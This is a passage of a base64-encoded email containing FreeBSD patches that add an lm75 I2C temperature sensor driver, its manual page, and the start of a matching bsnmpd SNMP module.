ZShzdHJ1Y3QgbG03NV9zb2Z0YyAqc2MsIHVpbnQ4X3QgcmVnLCBpbnQgdGVtcCkKK3sKKwl1aW50 OF90IGJ1ZjhbM107CisJdWludDE2X3QgYnVmOworCisJaWYgKHRlbXAgPiBMTTc1X01BWF9URU1Q KQorCQl0ZW1wID0gTE03NV9NQVhfVEVNUDsKKwlpZiAodGVtcCA8IExNNzVfTUlOX1RFTVApCisJ CXRlbXAgPSBMTTc1X01JTl9URU1QOworCisJYnVmID0gKHVpbnQxNl90KXRlbXA7CisJYnVmIDw8 PSA4OworCisJYnVmOFswXSA9IHJlZzsKKwlidWY4WzFdID0gYnVmID4+IDg7CisJYnVmOFsyXSA9 IGJ1ZiAmIDB4ZmY7CisKKwlpZiAobG03NV93cml0ZShzYy0+c2NfZGV2LCBzYy0+c2NfYWRkciwg YnVmOCwgMykgPCAwKQorCQlyZXR1cm4gKC0xKTsKKworCXJldHVybiAoMCk7Cit9CisKK3N0YXRp YyBpbnQKK2xtNzVfc3RyX21vZGUoY2hhciAqYnVmKQoreworCWludCBsZW4sIHJ0cm47CisKKwly dHJuID0gLTE7CisJbGVuID0gc3RybGVuKGJ1Zik7CisJaWYgKGxlbiA+IDIgJiYgc3RybmNhc2Vj bXAoImludGVycnVwdCIsIGJ1ZiwgbGVuKSA9PSAwKQorCQlydHJuID0gMTsKKwllbHNlIGlmIChs ZW4gPiAyICYmIHN0cm5jYXNlY21wKCJjb21wYXJhdG9yIiwgYnVmLCBsZW4pID09IDApCisJCXJ0 cm4gPSAwOworCisJcmV0dXJuIChydHJuKTsKK30KKworc3RhdGljIGludAorbG03NV9zdHJfcG9s KGNoYXIgKmJ1ZikKK3sKKwlpbnQgbGVuLCBydHJuOworCisJcnRybiA9IC0xOworCWxlbiA9IHN0 cmxlbihidWYpOworCWlmIChsZW4gPiAxICYmIHN0cm5jYXNlY21wKCJoaWdoIiwgYnVmLCBsZW4p ID09IDApCisJCXJ0cm4gPSAxOworCWVsc2UgaWYgKGxlbiA+IDEgJiYgc3RybmNhc2VjbXAoImxv dyIsIGJ1ZiwgbGVuKSA9PSAwKQorCQlydHJuID0gMDsKKwllbHNlIGlmIChsZW4gPiA4ICYmIHN0 cm5jYXNlY21wKCJhY3RpdmUtaGlnaCIsIGJ1ZiwgbGVuKSA9PSAwKQorCQlydHJuID0gMTsKKwll bHNlIGlmIChsZW4gPiA4ICYmIHN0cm5jYXNlY21wKCJhY3RpdmUtbG93IiwgYnVmLCBsZW4pID09 IDApCisJCXJ0cm4gPSAwOworCisJcmV0dXJuIChydHJuKTsKK30KKworc3RhdGljIGludAorbG03 NV90ZW1wX3N5c2N0bChTWVNDVExfSEFORExFUl9BUkdTKQoreworCWRldmljZV90IGRldjsKKwlp bnQgZXJyb3IsIHRlbXA7CisJc3RydWN0IGxtNzVfc29mdGMgKnNjOworCXVpbnQ4X3QgcmVnOwor CisJZGV2ID0gKGRldmljZV90KWFyZzE7CisJcmVnID0gKHVpbnQ4X3QpYXJnMjsKKwlzYyA9IGRl dmljZV9nZXRfc29mdGMoZGV2KTsKKworCWlmIChsbTc1X3RlbXBfcmVhZChzYywgcmVnLCAmdGVt cCkgIT0gMCkKKwkJcmV0dXJuIChFSU8pOworCisJZXJyb3IgPSBzeXNjdGxfaGFuZGxlX2ludChv aWRwLCAmdGVtcCwgMCwgcmVxKTsKKwlpZiAoZXJyb3IgIT0gMCB8fCByZXEtPm5ld3B0ciA9PSBO VUxMKQorCQlyZXR1cm4gKGVycm9yKTsKKworCWlmIChsbTc1X3RlbXBfd3JpdGUoc2MsIHJlZywg dGVtcCkgIT0gMCkKKwkJcmV0dXJuIChFSU8pOworCisJcmV0dXJuIChlcnJvcik7Cit9CisKK3N0 YXRpYyBpbnQKK2xtNzVfZmF1bHRzX3N5c2N0bChTWVNDVExfSEFORExFUl9BUkdTKQoreworCWRl dmljZV90IGRldjsKKwlpbnQgZXJyb3IsIGZhdWx0cywgaSwgbmV3ZiwgdG1wOworCXN0cnVjdCBs bTc1X3NvZnRjICpzYzsKKworCWRldiA9IChkZXZpY2VfdClhcmcxOworCXNjID0gZGV2aWNlX2dl dF9zb2Z0YyhkZXYpOworCXRtcCA9IChzYy0+c2NfY29uZiAmIExNNzVfQ09ORl9GQVVMVCkgPj4g TE03NV9DT05GX0ZTSElGVDsKKwlpZiAodG1wID4gbml0ZW1zKGxtNzVfZmF1bHRzKSkKKwkJdG1w ID0gbml0ZW1zKGxtNzVfZmF1bHRzKTsKKwlmYXVsdHMgPSBsbTc1X2ZhdWx0c1t0bXBdOworCisJ ZXJyb3IgPSBzeXNjdGxfaGFuZGxlX2ludChvaWRwLCAmZmF1bHRzLCAwLCByZXEpOworCWlmIChl cnJvciAhPSAwIHx8IHJlcS0+bmV3cHRyID09IE5VTEwpCisJCXJldHVybiAoZXJyb3IpOworCisJ aWYgKGZhdWx0cyAhPSBsbTc1X2ZhdWx0c1t0bXBdKSB7CisJCW5ld2YgPSAwOworCQlmb3IgKGkg PSAwOyBpIDwgbml0ZW1zKGxtNzVfZmF1bHRzKTsgaSsrKQorCQkJaWYgKGZhdWx0cyA+PSBsbTc1 X2ZhdWx0c1tpXSkKKwkJCQluZXdmID0gaTsKKwkJc2MtPnNjX2NvbmYgJj0gfkxNNzVfQ09ORl9G QVVMVDsKKwkJc2MtPnNjX2NvbmYgfD0gbmV3ZiA8PCBMTTc1X0NPTkZfRlNISUZUOworCQlpZiAo bG03NV9jb25mX3dyaXRlKHNjKSAhPSAwKQorCQkJcmV0dXJuIChFSU8pOworCX0KKworCXJldHVy biAoZXJyb3IpOworfQorCitzdGF0aWMgaW50CitsbTc1X21vZGVfc3lzY3RsKFNZU0NUTF9IQU5E TEVSX0FSR1MpCit7CisJY2hhciBidWZbMTZdOworCWRldmljZV90IGRldjsKKwlpbnQgZXJyb3Is IG1vZGUsIG5ld207CisJc3RydWN0IGxtNzVfc29mdGMgKnNjOworCisJZGV2ID0gKGRldmljZV90 KWFyZzE7CisJc2MgPSBkZXZpY2VfZ2V0X3NvZnRjKGRldik7CisJaWYgKHNjLT5zY19jb25mICYg TE03NV9DT05GX01PREUpIHsKKwkJbW9kZSA9IDE7CisJCXN0cmxjcHkoYnVmLCAiaW50ZXJydXB0 Iiwgc2l6ZW9mKGJ1ZikpOworCX0gZWxzZSB7CisJCW1vZGUgPSAwOworCQlzdHJsY3B5KGJ1Ziwg ImNvbXBhcmF0b3IiLCBzaXplb2YoYnVmKSk7CisJfQorCisJZXJyb3IgPSBzeXNjdGxfaGFuZGxl X3N0cmluZyhvaWRwLCBidWYsIHNpemVvZihidWYpLCByZXEpOworCWlmIChlcnJvciAhPSAwIHx8 IHJlcS0+bmV3cHRyID09IE5VTEwpCisJCXJldHVybiAoZXJyb3IpOworCisJbmV3bSA9IGxtNzVf c3RyX21vZGUoYnVmKTsKKwlpZiAobmV3bSAhPSAtMSAmJiBtb2RlICE9IG5ld20pIHsKKwkJc2Mt PnNjX2NvbmYgJj0gfkxNNzVfQ09ORl9NT0RFOworCQlpZiAobmV3bSA9PSAxKQorCQkJc2MtPnNj X2NvbmYgfD0gTE03NV9DT05GX01PREU7CisJCWlmIChsbTc1X2NvbmZfd3JpdGUoc2MpICE9IDAp CisJCQlyZXR1cm4gKEVJTyk7CisJfQorCisJcmV0dXJuIChlcnJvcik7Cit9CisKK3N0YXRpYyBp bnQKK2xtNzVfcG9sX3N5c2N0bChTWVNDVExfSEFORExFUl9BUkdTKQoreworCWNoYXIgYnVmWzE2 XTsKKwlkZXZpY2VfdCBkZXY7CisJaW50IGVycm9yLCBuZXdwLCBwb2w7CisJc3RydWN0IGxtNzVf c29mdGMgKnNjOworCisJZGV2ID0gKGRldmljZV90KWFyZzE7CisJc2MgPSBkZXZpY2VfZ2V0X3Nv ZnRjKGRldik7CisJaWYgKHNjLT5zY19jb25mICYgTE03NV9DT05GX1BPTCkgeworCQlwb2wgPSAx OworCQlzdHJsY3B5KGJ1ZiwgImFjdGl2ZS1oaWdoIiwgc2l6ZW9mKGJ1ZikpOworCX0gZWxzZSB7 CisJCXBvbCA9IDA7CisJCXN0cmxjcHkoYnVmLCAiYWN0aXZlLWxvdyIsIHNpemVvZihidWYpKTsK Kwl9CisKKwllcnJvciA9IHN5c2N0bF9oYW5kbGVfc3RyaW5nKG9pZHAsIGJ1Ziwgc2l6ZW9mKGJ1 ZiksIHJlcSk7CisJaWYgKGVycm9yICE9IDAgfHwgcmVxLT5uZXdwdHIgPT0gTlVMTCkKKwkJcmV0 dXJuIChlcnJvcik7CisKKwluZXdwID0gbG03NV9zdHJfcG9sKGJ1Zik7CisJaWYgKG5ld3AgIT0g LTEgJiYgcG9sICE9IG5ld3ApIHsKKwkJc2MtPnNjX2NvbmYgJj0gfkxNNzVfQ09ORl9QT0w7CisJ CWlmIChuZXdwID09IDEpCisJCQlzYy0+c2NfY29uZiB8PSBMTTc1X0NPTkZfUE9MOworCQlpZiAo bG03NV9jb25mX3dyaXRlKHNjKSAhPSAwKQorCQkJcmV0dXJuIChFSU8pOworCX0KKworCXJldHVy biAoZXJyb3IpOworfQorCitzdGF0aWMgaW50CitsbTc1X3NodXRkb3duX3N5c2N0bChTWVNDVExf SEFORExFUl9BUkdTKQoreworCWRldmljZV90IGRldjsKKwlpbnQgZXJyb3IsIHNodXRkb3duLCB0 bXA7CisJc3RydWN0IGxtNzVfc29mdGMgKnNjOworCisJZGV2ID0gKGRldmljZV90KWFyZzE7CisJ c2MgPSBkZXZpY2VfZ2V0X3NvZnRjKGRldik7CisJdG1wID0gc2h1dGRvd24gPSAoc2MtPnNjX2Nv bmYgJiBMTTc1X0NPTkZfU0hVVEQpID8gMSA6IDA7CisKKwllcnJvciA9IHN5c2N0bF9oYW5kbGVf aW50KG9pZHAsICZzaHV0ZG93biwgMCwgcmVxKTsKKwlpZiAoZXJyb3IgIT0gMCB8fCByZXEtPm5l d3B0ciA9PSBOVUxMKQorCQlyZXR1cm4gKGVycm9yKTsKKworCWlmIChzaHV0ZG93biAhPSB0bXAp IHsKKwkJc2MtPnNjX2NvbmYgJj0gfkxNNzVfQ09ORl9TSFVURDsKKwkJaWYgKHNodXRkb3duKQor CQkJc2MtPnNjX2NvbmYgfD0gTE03NV9DT05GX1NIVVREOworCQlpZiAobG03NV9jb25mX3dyaXRl KHNjKSAhPSAwKQorCQkJcmV0dXJuIChFSU8pOworCX0KKworCXJldHVybiAoZXJyb3IpOworfQpJ bmRleDogc2hhcmUvbWFuL21hbjQvTWFrZWZpbGUKPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gc2hhcmUvbWFuL21h bjQvTWFrZWZpbGUJKHJldmlzaW9uIDI2Mzc0MCkKKysrIHNoYXJlL21hbi9tYW40L01ha2VmaWxl CSh3b3JraW5nIGNvcHkpCkBAIC0yMjgsNiArMjI4LDcgQEAKIAlsZ2UuNCBcCiAJJHtfbGluZGV2 LjR9IFwKIAkke19saW51eC40fSBcCisJbG03NS40IFwKIAlsbWMuNCBcCiAJbG8uNCBcCiAJbHAu NCBcCi0tLSAvZGV2L251bGwJMjAxNC0wMy0yNyAxMToxMTowMC4wMDAwMDAwMDAgLTAzMDAKKysr IHNoYXJlL21hbi9tYW40L2xtNzUuNAkyMDE0LTAzLTI3IDExOjEwOjEzLjU2MjExNzYxMSAtMDMw MApAQCAtMCwwICsxLDE4OSBAQAorLlwiCisuXCIgQ29weXJpZ2h0IChjKSAyMDE0IEx1aXogT3Rh dmlvIE8gU291emEgPGxvb3NAZnJlZWJzZC5vcmc+CisuXCIgQWxsIHJpZ2h0cyByZXNlcnZlZC4K Ky5cIgorLlwiIFJlZGlzdHJpYnV0aW9uIGFuZCB1c2UgaW4gc291cmNlIGFuZCBiaW5hcnkgZm9y bXMsIHdpdGggb3Igd2l0aG91dAorLlwiIG1vZGlmaWNhdGlvbiwgYXJlIHBlcm1pdHRlZCBwcm92 aWRlZCB0aGF0IHRoZSBmb2xsb3dpbmcgY29uZGl0aW9ucworLlwiIGFyZSBtZXQ6CisuXCIgMS4g UmVkaXN0cmlidXRpb25zIG9mIHNvdXJjZSBjb2RlIG11c3QgcmV0YWluIHRoZSBhYm92ZSBjb3B5 cmlnaHQKKy5cIiAgICBub3RpY2UsIHRoaXMgbGlzdCBvZiBjb25kaXRpb25zIGFuZCB0aGUgZm9s bG93aW5nIGRpc2NsYWltZXIuCisuXCIgMi4gUmVkaXN0cmlidXRpb25zIGluIGJpbmFyeSBmb3Jt IG11c3QgcmVwcm9kdWNlIHRoZSBhYm92ZSBjb3B5cmlnaHQKKy5cIiAgICBub3RpY2UsIHRoaXMg bGlzdCBvZiBjb25kaXRpb25zIGFuZCB0aGUgZm9sbG93aW5nIGRpc2NsYWltZXIgaW4gdGhlCisu XCIgICAgZG9jdW1lbnRhdGlvbiBhbmQvb3Igb3RoZXIgbWF0ZXJpYWxzIHByb3ZpZGVkIHdpdGgg dGhlIGRpc3RyaWJ1dGlvbi4KKy5cIgorLlwiIFRISVMgU09GVFdBUkUgSVMgUFJPVklERUQgQlkg VEhFIEFVVEhPUiBgYEFTIElTJycgQU5EIEFOWSBFWFBSRVNTIE9SCisuXCIgSU1QTElFRCBXQVJS QU5USUVTLCBJTkNMVURJTkcsIEJVVCBOT1QgTElNSVRFRCBUTywgVEhFIElNUExJRUQgV0FSUkFO VElFUworLlwiIE9GIE1FUkNIQU5UQUJJTElUWSBBTkQgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFS IFBVUlBPU0UgQVJFIERJU0NMQUlNRUQuCisuXCIgSU4gTk8gRVZFTlQgU0hBTEwgVEhFIEFVVEhP UiBCRSBMSUFCTEUgRk9SIEFOWSBESVJFQ1QsIElORElSRUNULAorLlwiIElOQ0lERU5UQUwsIFNQ RUNJQUwsIEVYRU1QTEFSWSwgT1IgQ09OU0VRVUVOVElBTCBEQU1BR0VTIChJTkNMVURJTkcsIEJV VAorLlwiIE5PVCBMSU1JVEVEIFRPLCBQUk9DVVJFTUVOVCBPRiBTVUJTVElUVVRFIEdPT0RTIE9S IFNFUlZJQ0VTOyBMT1NTIE9GIFVTRSwKKy5cIiBEQVRBLCBPUiBQUk9GSVRTOyBPUiBCVVNJTkVT UyBJTlRFUlJVUFRJT04pIEhPV0VWRVIgQ0FVU0VEIEFORCBPTiBBTlkKKy5cIiBUSEVPUlkgT0Yg TElBQklMSVRZLCBXSEVUSEVSIElOIENPTlRSQUNULCBTVFJJQ1QgTElBQklMSVRZLCBPUiBUT1JU CisuXCIgKElOQ0xVRElORyBORUdMSUdFTkNFIE9SIE9USEVSV0lTRSkgQVJJU0lORyBJTiBBTlkg V0FZIE9VVCBPRiBUSEUgVVNFIE9GCisuXCIgVEhJUyBTT0ZUV0FSRSwgRVZFTiBJRiBBRFZJU0VE IE9GIFRIRSBQT1NTSUJJTElUWSBPRiBTVUNIIERBTUFHRS4KKy5cIgorLlwiICRGcmVlQlNEJAor LlwiCisuRGQgTWFyY2ggMjcsIDIwMTQKKy5EdCBMTTc1IDQKKy5PcworLlNoIE5BTUUKKy5ObSBs bTc1CisuTmQgbG03NSBpMmMgZGlnaXRhbCB0ZW1wZXJhdHVyZSBzZW5zb3IgZHJpdmVyCisuU2gg U1lOT1BTSVMKKy5DZCAiZGV2aWNlIGlpYyIKKy5DZCAiZGV2aWNlIGlpY2J1cyIKKy5DZCAiZGV2 aWNlIGxtNzUiCisuU2ggREVTQ1JJUFRJT04KK1RoZQorLk5tCitkcml2ZXIgcHJvdmlkZXMgYWNj ZXNzIHRvIHNlbnNvciBkYXRhIGFuZCBjb25maWd1cmF0aW9uIG92ZXIgdGhlCisuWHIgaWljYnVz IDQgLgorLlBwCitJdCBwcm92aWRlcyBhbiBlYXN5IGFuZCBzaW1wbGUgd2F5IHRvIGNoZWNrIHRo ZSBmdW5jdGlvbmFsaXR5IG9mIGFuIGkyYyBidXMKK2FzIGl0IHByb3ZpZGVzIHJlYWQgYW5kIHdy aXRlIGFjY2VzcyB0byB0aGUKKy5ObQorY29uZmlndXJhdGlvbiByZWdpc3Rlci4KKy5QcAorVGhl IGFjY2VzcyB0bworLk5tCitkYXRhIGlzIG1hZGUgdmlhIHRoZQorLlhyIHN5c2N0bCA4CitpbnRl cmZhY2U6CisuQmQgLWxpdGVyYWwKK2Rldi5sbTc1LjAuJWRlc2M6IExNNzUgdGVtcGVyYXR1cmUg c2Vuc29yCitkZXYubG03NS4wLiVkcml2ZXI6IGxtNzUKK2Rldi5sbTc1LjAuJWxvY2F0aW9uOiBh ZGRyPTB4NDkKK2Rldi5sbTc1LjAuJXBucGluZm86IG5hbWU9bG03NTAgY29tcGF0PW5hdGlvbmFs LGxtNzUKK2Rldi5sbTc1LjAuJXBhcmVudDogaWljYnVzMworZGV2LmxtNzUuMC50ZW1wZXJhdHVy ZTogMjcuMUMKK2Rldi5sbTc1LjAudGh5c3Q6IDc1LjBDCitkZXYubG03NS4wLnRvczogODAuMEMK K2Rldi5sbTc1LjAuZmF1bHRzOiAxCitkZXYubG03NS4wLm1vZGU6IGNvbXBhcmF0b3IKK2Rldi5s bTc1LjAucG9sYXJpdHk6IGFjdGl2ZS1sb3cKK2Rldi5sbTc1LjAuc2h1dGRvd246IDAKKy5FZAor LkJsIC10YWcgLXdpZHRoICIuVmEgZGV2LmxtNzUuJWQudGVtcGVyYXR1cmUiCisuSXQgVmEgZGV2 LmxtNzUuJWQudGVtcGVyYXR1cmUKK0lzIHRoZSByZWFkLW9ubHkgdmFsdWUgb2YgdGhlIGN1cnJl bnQgdGVtcGVyYXR1cmUgcmVhZCBieSB0aGUgc2Vuc29yLgorLkl0IFZhIGRldi5sbTc1LiVkLnRo eXN0CitTZXRzIHRoZSBoeXN0ZXJlc2lzIHRlbXBlcmF0dXJlLgorT25jZSB0aGUgdGVtcGVyYXR1 cmUgZ2V0IG92ZXIgdGhlIG92ZXJ0ZW1wZXJhdHVyZSBzaHV0ZG93biB2YWx1ZSAodG9zKQoraXQg bmVlZCB0byBkcm9wIGJlbGxvdyB0aGUgaHlzdGVyZXNpcyB0ZW1wZXJhdHVyZSB0byBkaXNhYmxl IHRoZSBvdXRwdXQKKyhpbnRlcnJ1cHQpIHBpbiBhZ2Fpbi4KKy5JdCBWYSBkZXYubG03NS4lZC50 b3MKK1NldHMgdGhlIG92ZXJ0ZW1wZXJhdHVyZSBzaHV0ZG93biB2YWx1ZS4KK09uY2UgdGhlIHRl bXBlcmF0dXJlIGdldCBvdmVyIHRoaXMgdmFsdWUgdGhlIG91dHB1dCBwaW4gd2lsbCBiZSBlbmFi bGVkLgorVGhlIHdheSB0aGUgb3V0cHV0IChpbnRlcnJ1cHQpIHBpbiB3b3JrcywgZGVwZW5kcyBv biB0aGUgbW9kZSBjb25maWd1cmF0aW9uLgorLkl0IFZhIGRldi5sbTc1LiVkLmZhdWx0cworSXMg dGhlIG51bWJlciBvZiBmYXVsdHMgdGhhdCBtdXN0IG9jY3VyIGNvbnNlY3V0aXZlbHkgdG8gYWN0 aXZhdGUgdGhlCitpbnRlcnJ1cHQgKG91dHB1dCkgcGluLgorSXQgY2FuIGJlIHNldCB0byAxLCAy LCA0LCBhbmQgNi4KKy5JdCBWYSBkZXYubG03NS4lZC5tb2RlCitTZXQgdGhlIG9wZXJhdGlvbiBt b2RlIGZvciB0aGUgc2Vuc29yIGludGVycnVwdCBwaW4uCitJdCBjYW4gYmUgc2V0IHRvICdjb21w YXJhdG9yJyAoZGVmYXVsdCkgb3IgJ2ludGVycnVwdCcuCisuSXQgVmEgZGV2LmxtNzUuJWQucG9s YXJpdHkKK1NldCB0aGUgcG9sYXJpdHkgb2YgdGhlIHNlbnNvciBpbnRlcnJ1cHQgcGluLgorSXQg Y2FuIGJlIHNldCB0byAnYWN0aXZlLWxvdycgKGRlZmF1bHQpIG9yICdhY3RpdmUtaGlnaCcuCitQ bGVhc2Ugbm90ZSB0aGF0IHRoZSBvdXRwdXQgcGluIGlzIGFuIG9wZW4tZHJhaW4gb3V0cHV0IGFu ZCBpdCBuZWVkcyBhCitwcm9wZXIgcHVsbC11cCByZXNpc3RvciB0byB3b3JrLgorLkl0IFZhIGRl di5sbTc1LiVkLnNodXRkb3duCitXaGVuIHNldCB0byAnMScgaXQgc2h1dGRvd24gdGhlIHNlbnNv ci4KK1RoZSB0ZW1wZXJhdHVyZSBjb252ZXJ0aW9uIHN0b3BzIGJ1dCB0aGUgc2Vuc29yIHJlbWFp bnMgd2l0aCBpdHMgaTJjIGJ1cworYWN0aXZlLCBpLmUuLCBpdCBjYW4gYmUgd29rZW4gdXAgYnkg c2V0dGluZyB0aGlzIG9wdGlvbiB0byAnMCcgYWdhaW4uCisuRWwKKy5QcAorUGxlYXNlIGNoZWNr IHRoZQorLk5tCitkYXRhc2hlZXQgZm9yIG1vcmUgZGV0YWlscy4KKy5QcAorV2hlbiB1c2VkIHRv Z2V0aGVyIHdpdGgKKy5YciBzbm1wX2xtNzUgMworaXQgYWxsb3dzIHRoZSBtb25pdG9yaW5nIG9m CisuTm0KK3RlbXBlcmF0dXJlIGRhdGEgb3ZlciBTTk1QLgorLlBwCitUaGUKKy5ObQorZHJpdmVy IHN1cHBvcnRzIGJvdGggdGhlIGxvdyBhbmQgdGhlIGhpZ2ggcmVzb2x1dGlvbiBtb2RlbHMuCisu UHAKK1RoZSBsb3cgcmVzb2x1dGlvbiBtb2RlbCAobG03NSkgcHJvdmlkZXMgYSA5IGJpdCBvdXRw dXQgd2l0aCB0aGUgTFNCCityZXByZXNlbnRpbmcgMC41Qy4KKy5QcAorVGhlIGhpZ2ggcmVzb2x1 dGlvbiBtb2RlbCAobG03NWEpIHByb3ZpZGVzIGFuIDExIGJpdCBvdXRwdXQgd2l0aCB0aGUgTFNC CityZXByZXNlbnRpbmcgMC4xMjVDLgorLlBwCitUaGUgZHJpdmVyIHRyaWVzIHRvIGF1dG8tZGV0 ZWN0IHRoZQorLk5tCittb2RlbCwgYnV0IHRoZSBkZXRlY3Rpb24gb2Ygc29tZQorLk5tCitjbG9u ZXMgbWF5IG5vdCB3b3JrIHJlbGlhYmx5LgorLlBwCitPbiBhCisuWHIgZGV2aWNlLmhpbnRzIDUK K2Jhc2VkIHN5c3RlbSwgbGlrZQorLkxpIE1JUFMgLAordGhlc2UgdmFsdWVzIGFyZSBjb25maWd1 cmFibGUgZm9yIHRoZQorLk5tIDoKKy5CbCAtdGFnIC13aWR0aCAiLlZhIGhpbnQubG03NS4lZC5h ZGRyIgorLkl0IFZhIGhpbnQubG03NS4lZC5hdAorSXMgdGhlCisuWHIgaWljYnVzIDQKK3lvdSBh cmUgYXR0YWNoaW5nIHRvLgorLkl0IFZhIGhpbnQubG03NS4lZC5hZGRyCitJcyB0aGUKKy5ObQor aTJjIGFkZHJlc3Mgb24gdGhlCisuWHIgaWljYnVzIDQgLgorLkVsCisuUHAKK09uIGEKKy5YciBG RFQgNAorYmFzZWQgc3lzdGVtLCBsaWtlCisuTGkgQVJNICwKK3RoZSBEVFMgcGFydCBmb3IgYQor Lk5tCitkZXZpY2UgdXN1YWxseSBsb29rcyBsaWtlOgorLkJkIC1saXRlcmFsCitpMmMgeworCisJ Li4uCisKKwlsbTc1MCB7CisJCWNvbXBhdGlibGUgPSAibmF0aW9uYWwsbG03NSI7CisJCWkyYy1h ZGRyZXNzID0gPDB4NDk+OworCX07Cit9OworLkVkCisuUHAKK1doZXJlOgorLkJsIC10YWcgLXdp ZHRoICIuVmEgaTJjLWFkZHJlc3MiCisuSXQgVmEgY29tcGF0aWJsZQorU2hvdWxkIGFsd2F5cyBi ZSBzZXQgdG8gIm5hdGlvbmFsLGxtNzUiLgorLkl0IFZhIGkyYy1hZGRyZXNzCitUaGUKKy5WYSBp MmMtYWRkcmVzcworcHJvcGVydHkgaW5kaWNhdGVzIHdoaWNoIGkyYyBhZGRyZXNzIHRoZQorLk5t CitpcyB3aXJlZCBhdC4KKy5ObQordGVtcGVyYXR1cmUgc2Vuc29ycyBjYW4gYmUgd2lyZWQgdG8g OCBkaWZmZXJlbnQgYWRkcmVzcywgYWxsb3dpbmcgdXAgdG8gOAorc2Vuc29ycyBvbiB0aGUgc2Ft ZQorLlhyIGlpY2J1cyA0IC4KKy5FbAorLlNoIFNFRSBBTFNPCisuWHIgc25tcF9sbTc1IDMgLAor LlhyIGZkdCA0ICwKKy5YciBpaWMgNCAsCisuWHIgaWljYnVzIDQgLAorLlhyIHN5c2N0bCA4Cisu U2ggSElTVE9SWQorVGhlCisuTm0KK2RyaXZlciBmaXJzdCBhcHBlYXJlZCBpbgorLkZ4IDExLjAg LgorLlNoIEFVVEhPUlMKKy5BbiAtbm9zcGxpdAorVGhlIGRyaXZlciBhbmQgdGhpcyBtYW51YWwg cGFnZSB3YXMgd3JpdHRlbiBieQorLkFuIEx1aXogT3RhdmlvIE8gU291emEgQXEgbG9vc0BGcmVl QlNELm9yZwo= --001a11c266c465a18604f5977b8d Content-Type: text/plain; charset=US-ASCII; name="snmp_lm75.diff" Content-Disposition: attachment; filename="snmp_lm75.diff" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hta4unmd1 SW5kZXg6IGV0Yy9zbm1wZC5jb25maWcKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gZXRjL3NubXBkLmNvbmZpZwko cmV2aXNpb24gMjYyODYwKQorKysgZXRjL3NubXBkLmNvbmZpZwkod29ya2luZyBjb3B5KQpAQCAt Mjk2LDYgKzI5NiwxMiBAQAogI2JlZ2Vtb3RTbm1wZE1vZHVsZVBhdGguImJyaWRnZSIgPSAiL3Vz ci9saWIvc25tcF9icmlkZ2Uuc28iCiAKICMKKyMgTE03NSBTZW5zb3IgbW9kdWxlCisjICBUaGlz IHJlcXVpcmVzIHRoZSBtaWJJSSBtb2R1bGUuCisjCisjYmVnZW1vdFNubXBkTW9kdWxlUGF0aC4i bG03NSIgPSAiL3Vzci9saWIvc25tcF9sbTc1LnNvIgorCisjCiAjIFdpcmVsZXNzIG1vZHVsZQog IyAgVGhpcyByZXF1aXJlcyB0aGUgbWliSUkgbW9kdWxlLgogIwpJbmRleDogdXNyLnNiaW4vYnNu bXBkL21vZHVsZXMvTWFrZWZpbGUKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gdXNyLnNiaW4vYnNubXBkL21vZHVs ZXMvTWFrZWZpbGUJKHJldmlzaW9uIDI2Mjg2MCkKKysrIHVzci5zYmluL2Jzbm1wZC9tb2R1bGVz L01ha2VmaWxlCSh3b3JraW5nIGNvcHkpCkBAIC0xMiw2ICsxMiw3IEBACiAJc25tcF9icmlkZ2Ug XAogCXNubXBfaGFzdCBcCiAJc25tcF9ob3N0cmVzIFwKKwlzbm1wX2xtNzUgXAogCXNubXBfbWli SUkgXAogCXNubXBfdGFyZ2V0IFwKIAlzbm1wX3VzbSBcCkluZGV4OiB1c3Iuc2Jpbi9ic25tcGQv bW9kdWxlcy9zbm1wX2xtNzUvQkVHRU1PVC1MTTc1LU1JQi50eHQKPT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gdXNy LnNiaW4vYnNubXBkL21vZHVsZXMvc25tcF9sbTc1L0JFR0VNT1QtTE03NS1NSUIudHh0CShyZXZp c2lvbiAwKQorKysgdXNyLnNiaW4vYnNubXBkL21vZHVsZXMvc25tcF9sbTc1L0JFR0VNT1QtTE03 NS1NSUIudHh0CSh3b3JraW5nIGNvcHkpCkBAIC0wLDAgKzEsMTYwIEBACistLQorLS0gQ29weXJp Z2h0IChjKSAyMDE0IEx1aXogT3RhdmlvIE8gU291emEgPGxvb3NARnJlZUJTRC5vcmc+CistLSBB bGwgcmlnaHRzIHJlc2VydmVkLgorLS0KKy0tIFJlZGlzdHJpYnV0aW9uIGFuZCB1c2UgaW4gc291 cmNlIGFuZCBiaW5hcnkgZm9ybXMsIHdpdGggb3Igd2l0aG91dAorLS0gbW9kaWZpY2F0aW9uLCBh cmUgcGVybWl0dGVkIHByb3ZpZGVkIHRoYXQgdGhlIGZvbGxvd2luZyBjb25kaXRpb25zCistLSBh cmUgbWV0OgorLS0gMS4gUmVkaXN0cmlidXRpb25zIG9mIHNvdXJjZSBjb2RlIG11c3QgcmV0YWlu IHRoZSBhYm92ZSBjb3B5cmlnaHQKKy0tICAgIG5vdGljZSwgdGhpcyBsaXN0IG9mIGNvbmRpdGlv bnMgYW5kIHRoZSBmb2xsb3dpbmcgZGlzY2xhaW1lci4KKy0tIDIuIFJlZGlzdHJpYnV0aW9ucyBp biBiaW5hcnkgZm9ybSBtdXN0IHJlcHJvZHVjZSB0aGUgYWJvdmUgY29weXJpZ2h0CistLSAgICBu b3RpY2UsIHRoaXMgbGlzdCBvZiBjb25kaXRpb25zIGFuZCB0aGUgZm9sbG93aW5nIGRpc2NsYWlt ZXIgaW4gdGhlCistLSAgICBkb2N1bWVudGF0aW9uIGFuZC9vciBvdGhlciBtYXRlcmlhbHMgcHJv dmlkZWQgd2l0aCB0aGUgZGlzdHJpYnV0aW9uLgorLS0KKy0tIFRISVMgU09GVFdBUkUgSVMgUFJP VklERUQgQlkgVEhFIFJFR0VOVFMgQU5EIENPTlRSSUJVVE9SUyBgYEFTIElTJycgQU5ECistLSBB TlkgRVhQUkVTUyBPUiBJTVBMSUVEIFdBUlJBTlRJRVMsIElOQ0xVRElORywgQlVUIE5PVCBMSU1J 